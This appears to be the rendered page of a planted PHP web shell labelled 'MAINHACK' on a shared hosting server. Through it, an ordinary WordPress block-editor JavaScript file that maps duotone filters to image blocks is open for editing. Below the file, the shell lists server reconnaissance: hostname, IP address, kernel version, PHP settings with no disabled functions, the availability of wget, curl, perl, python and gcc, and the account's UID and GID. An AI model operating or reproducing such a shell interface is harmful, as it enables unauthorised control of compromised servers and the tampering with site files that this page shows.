[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: svg-blocks-scanner.js
/** Recursively builds a unique duotone to the parent map from the block tree. */ export const getDynamicDuotoneMap = (blocks) => { const map = new Map(); const seen = new Set(); const duotonePrefix = 'var:preset|duotone|'; const duotonePrefixLength = duotonePrefix.length; const scan = (blocks) => { if (!blocks || !blocks.length) return; for (const block of blocks) { if (block.name !== 'core/image') { scan(block.innerBlocks || []); continue; } const url = block.attributes?.url || ''; if ( !url || !url.startsWith('data:image/svg+xml;') || seen.has(block.clientId) ) { scan(block.innerBlocks || []); continue; } // slice the duotone value to remove the prefix and get the slug const duotoneValue = block.attributes?.style?.color?.duotone; const duotone = duotoneValue?.startsWith(duotonePrefix) ? duotoneValue.slice(duotonePrefixLength) : null; const parents = getImageParentsByBlockIdAndUrl( block.clientId, url, )?.filter(Boolean); if (duotone && parents.length && !map.has(duotone)) { parents.forEach((parent) => { map.set(parent, duotone); }); } seen.add(block.clientId); scan(block.innerBlocks || []); } }; scan(blocks); return Object.fromEntries(map); }; const getDoc = () => document.querySelector('iframe[name="editor-canvas"]')?.contentDocument || document; const getImageParentsByBlockIdAndUrl = (id, url) => { const doc = getDoc(); if (!doc) return []; const blockElement = doc.querySelector(`[data-block="${id}"]`); if (blockElement?.classList) { const duotoneClass = []; for (const cls of blockElement.classList) { if (cls.startsWith('wp-duotone-')) duotoneClass.push(cls); } if (duotoneClass.length) return duotoneClass; } const images = doc.querySelectorAll(`img[src="${url}"]`); const elements = []; for (const image of images) { const parent = image.closest('figure[data-block]'); if (parent?.classList) { for (const cls of parent.classList) { if (cls.startsWith('wp-duotone-')) elements.push(cls); } } } return elements; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.78 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830